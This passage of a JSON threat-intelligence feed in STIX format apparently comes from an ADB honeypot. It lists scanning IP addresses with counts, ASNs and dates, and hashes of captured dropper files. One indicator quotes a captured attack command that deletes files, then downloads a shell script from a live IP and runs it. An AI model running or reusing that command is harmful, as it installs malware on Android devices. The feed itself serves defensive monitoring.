      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-07T03:54:31.000Z | last_seen=2026-04-20T09:02:03.500Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--22365f69-1d12-48f5-ada1-099ff02833b7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-07T03:54:31.000Z",
          "last_seen": "2026-04-20T09:02:03.500Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T04:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-07T03:51:59.000Z | last_seen=2026-04-07T03:53:07.529Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--a5e866bb-a38a-472f-9105-2228042d2b1a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T04:00:07.000Z",
      "valid_until": "2026-05-09T04:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-07T03:51:59.000Z",
          "last_seen": "2026-04-07T03:53:07.529Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T05:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-07T04:32:25.000Z | last_seen=2026-04-07T04:33:43.103Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--e8a9aeb3-b178-41b5-80b9-33976c5091a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T05:00:03.000Z",
      "valid_until": "2026-05-09T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-07T04:32:25.000Z",
          "last_seen": "2026-04-07T04:33:43.103Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T06:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=526 | first_seen=2026-04-07T05:24:10.000Z | last_seen=2026-04-13T22:27:07.339Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--23b6403f-6741-46f0-9590-ca362e7e67bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.95.147.229']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T06:00:02.000Z",
      "valid_until": "2026-05-09T06:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 526,
          "first_seen": "2026-04-07T05:24:10.000Z",
          "last_seen": "2026-04-13T22:27:07.339Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T08:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=JO; asn=48832; asn_org=Jordanian mobile phone services Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=8 | first_seen=2026-04-07T07:02:55.000Z | last_seen=2026-04-07T07:13:01.961Z | ports=5555 | cc=JO | asn=48832 | org=Jordanian mobile phone services Ltd",
      "id": "indicator--994c145d-6db2-4d87-9843-2705166f152a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '176.29.156.36']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T08:00:03.000Z",
      "valid_until": "2026-05-09T08:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 8,
          "first_seen": "2026-04-07T07:02:55.000Z",
          "last_seen": "2026-04-07T07:13:01.961Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "JO"
          ],
          "asn": [
            "48832"
          ],
          "org": [
            "Jordanian mobile phone services Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-07T08:11:49.000Z | last_seen=2026-04-07T08:22:24.323Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--2cb6684e-1546-4097-9fed-e00fffc690fa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '178.128.250.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:00:02.000Z",
      "valid_until": "2026-05-09T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-07T08:11:49.000Z",
          "last_seen": "2026-04-07T08:22:24.323Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T09:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=15 | first_seen=2026-04-07T08:20:27.000Z | last_seen=2026-04-07T08:30:41.950Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--10757118-bf59-4ab4-8e3d-3cd83c60760d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '24.144.81.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T09:00:02.000Z",
      "valid_until": "2026-05-09T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 15,
          "first_seen": "2026-04-07T08:20:27.000Z",
          "last_seen": "2026-04-07T08:30:41.950Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T14:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=NL; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=47 | first_seen=2026-04-07T13:21:40.000Z | last_seen=2026-04-26T19:00:09.488Z | ports=5555 | cc=NL | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--ff5dc5ca-5de6-410a-9b17-ab248514723f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '5.187.35.26']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:00:08.000Z",
      "valid_until": "2026-05-09T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 47,
          "first_seen": "2026-04-07T13:21:40.000Z",
          "last_seen": "2026-04-26T19:00:09.488Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T14:00:08.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=20001; asn_org=Charter Communications Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T13:23:24.000Z | last_seen=2026-04-07T13:33:30.082Z | ports=5555 | cc=US | asn=20001 | org=Charter Communications Inc",
      "id": "indicator--d6880c82-ebff-4e43-be2b-5083853570bc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '76.33.249.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T14:00:08.000Z",
      "valid_until": "2026-05-09T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T13:23:24.000Z",
          "last_seen": "2026-04-07T13:33:30.082Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20001"
          ],
          "org": [
            "Charter Communications Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T15:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=TN; asn=37705; asn_org=TOPNET; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T14:11:32.000Z | last_seen=2026-04-07T14:21:39.432Z | ports=5555 | cc=TN | asn=37705 | org=TOPNET",
      "id": "indicator--e006939b-7b5f-4ed9-b81b-fafcaf71bbab",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '102.157.38.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T15:00:03.000Z",
      "valid_until": "2026-05-09T15:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T14:11:32.000Z",
          "last_seen": "2026-04-07T14:21:39.432Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "TN"
          ],
          "asn": [
            "37705"
          ],
          "org": [
            "TOPNET"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=MA; asn=36903; asn_org=MT-MPLS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-07T15:01:56.000Z | last_seen=2026-04-07T15:12:05.127Z | ports=5555 | cc=MA | asn=36903 | org=MT-MPLS",
      "id": "indicator--647ce0ff-054b-42ef-aa14-1dc6e577f4a0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '41.251.189.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:00:02.000Z",
      "valid_until": "2026-05-09T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-07T15:01:56.000Z",
          "last_seen": "2026-04-07T15:12:05.127Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MA"
          ],
          "asn": [
            "36903"
          ],
          "org": [
            "MT-MPLS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=10 | first_seen=2026-04-07T15:47:00.000Z | last_seen=2026-04-27T15:47:46.589Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--aec4703c-a2fe-4bcc-a392-037e160523a1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '45.33.40.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T16:00:02.000Z",
      "valid_until": "2026-05-09T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 10,
          "first_seen": "2026-04-07T15:47:00.000Z",
          "last_seen": "2026-04-27T15:47:46.589Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T17:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=US; asn=207990; asn_org=HostRoyale Technologies Pvt Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=38 | first_seen=2026-04-07T16:22:34.000Z | last_seen=2026-04-08T21:44:24.623Z | ports=5555 | cc=US | asn=207990 | org=HostRoyale Technologies Pvt Ltd",
      "id": "indicator--10f90ac3-ebce-4f0f-9269-c41b811cb534",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T17:00:10.000Z",
      "valid_until": "2026-05-09T17:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 38,
          "first_seen": "2026-04-07T16:22:34.000Z",
          "last_seen": "2026-04-08T21:44:24.623Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "207990"
          ],
          "org": [
            "HostRoyale Technologies Pvt Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=14; ports=5555; cc=VN; asn=150895; asn_org=EZ TECHNOLOGY COMPANY LIMITED; adb_cmd_hits=0; cmd=\"cd /data/local/tmp/; rm -rf *; busybox wget http://103.116.52.132/abc1.sh; sh abc1.sh; wget http://103.116.52.132/abc1.sh; sh abc1.sh; curl http://103.116.52.13\"\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-07T17:53:26.000Z | last_seen=2026-04-07T17:55:23.819Z | ports=5555 | cc=VN | asn=150895 | org=EZ TECHNOLOGY COMPANY LIMITED",
      "id": "indicator--452f71b6-43bd-445d-8dba-e6bc498d97cf",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.116.52.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:00:02.000Z",
      "valid_until": "2026-05-09T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-07T17:53:26.000Z",
          "last_seen": "2026-04-07T17:55:23.819Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "150895"
          ],
          "org": [
            "EZ TECHNOLOGY COMPANY LIMITED"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=35; ports=5555; cc=NL; asn=8075; asn_org=Microsoft Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=35 | first_seen=2026-04-07T17:12:35.000Z | last_seen=2026-04-07T17:24:24.640Z | ports=5555 | cc=NL | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--63634d93-c51e-490f-b4eb-b67438fe92e1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '20.61.127.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:00:02.000Z",
      "valid_until": "2026-05-09T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 35,
          "first_seen": "2026-04-07T17:12:35.000Z",
          "last_seen": "2026-04-07T17:24:24.640Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4da170986e66664f6509fc355ab170e21a128e7b4335d699392d8a17dc7be2ae.raw; last_seen=2026-04-07T17:53:34.783Z",
      "id": "indicator--7877096e-f6e8-4b75-a288-f0a832f57253",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '4da170986e66664f6509fc355ab170e21a128e7b4335d699392d8a17dc7be2ae']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-07T18:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/c5dea339ef919fc36fcbf14a8d49ead401b8ade96dac9b73774c0efe001a9834.raw; last_seen=2026-04-07T17:53:33.120Z",
      "id": "indicator--bb71af1e-bad5-42ff-89ad-2f9fd41c8d10",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'c5dea339ef919fc36fcbf14a8d49ead401b8ade96dac9b73774c0efe001a9834']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-07T18:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
